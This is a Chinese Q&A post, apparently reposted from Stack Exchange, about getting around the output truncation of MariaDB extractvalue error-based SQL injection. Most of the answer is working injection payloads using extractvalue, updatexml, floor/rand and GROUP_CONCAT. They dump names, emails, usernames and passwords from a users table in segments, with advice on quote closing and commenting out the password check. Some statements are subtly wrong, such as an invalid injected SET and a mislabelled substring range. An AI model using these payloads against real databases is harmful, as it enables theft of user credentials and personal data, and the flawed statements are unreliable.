MariaDB中Extractvalue返回内容截断的SQL注入问题求助
解决MariaDB中Extractvalue报错注入内容截断的问题
直接解决Extractvalue截断的方法
Extractvalue触发的报错信息存在长度限制(通常约1024字节),长内容会被自动截断。可以通过substring函数分段提取拼接后的完整数据:
- 先获取拼接内容的总长度,确定需要分多少段:
' AND extractvalue(rand(),concat(0x3a,(SELECT length(concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password)) FROM users LIMIT 0,1))); #
- 分段提取内容,例如第一次取前200字符:
' AND extractvalue(rand(),concat(0x3a,(SELECT substring(concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password),1,200) FROM users LIMIT 0,1))); #
- 后续分段依次调整起始位置,比如第二次取201到400字符:
' AND extractvalue(rand(),concat(0x3a,(SELECT substring(concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password),201,400) FROM users LIMIT 0,1))); #
如果想快速获取后半段内容,也可以结合reverse函数反向提取:
' AND extractvalue(rand(),concat(0x3a,reverse(substring(reverse(concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password)),1,200)))); #
替代报错注入方案
1. UpdateXML函数报错注入
和Extractvalue原理一致,利用非法XPath语法触发报错,返回内容长度限制相同,同样支持分段提取:
' AND updatexml(rand(),concat(0x3a,(SELECT concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password) FROM users LIMIT 0,1)),1); #
2. 基于重复键的floor/rand报错注入
利用floor(rand()*2)在分组查询时的重复主键冲突触发报错,这种方式返回的错误信息长度限制更宽松,适合长内容:
' AND (SELECT 1 FROM (SELECT count(*),concat(0x3a,(SELECT concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password) FROM users LIMIT 0,1),0x3a,floor(rand()*2)) as x FROM information_schema.tables GROUP BY x) as y); #
注:该方法依赖查询的表(这里用information_schema.tables)存在至少2条数据,几乎所有环境都满足。如果内容仍过长,同样用substring分段。
3. GROUP_CONCAT批量获取数据(结合报错)
如果需要一次性获取多条用户数据,可使用GROUP_CONCAT拼接,若默认长度不够,尝试临时修改配置(权限允许的话):
-- 先查看当前GROUP_CONCAT长度限制 ' AND extractvalue(rand(),concat(0x3a,(SELECT @@group_concat_max_len))); # -- 修改为更大值(比如100万字节) ' AND SET @@group_concat_max_len = 1000000; # -- 批量获取数据 ' AND extractvalue(rand(),concat(0x3a,(SELECT group_concat(0x3a,firstname,0x3a,lastname,0x3a,email,0x3a,username,0x3a,password SEPARATOR 0x0a) FROM users))); #
注意点
- 所有注入语句需匹配你的上下文:确保单引号闭合正确,用
#注释掉原语句后续的AND password = ''部分。 - MariaDB 10.3部分函数行为与MySQL略有差异,建议先在本地数据库中验证语句效果。
内容的提问来源于stack exchange,提问作者MagnusBollJensen32
相关产品推荐
相关产品推荐

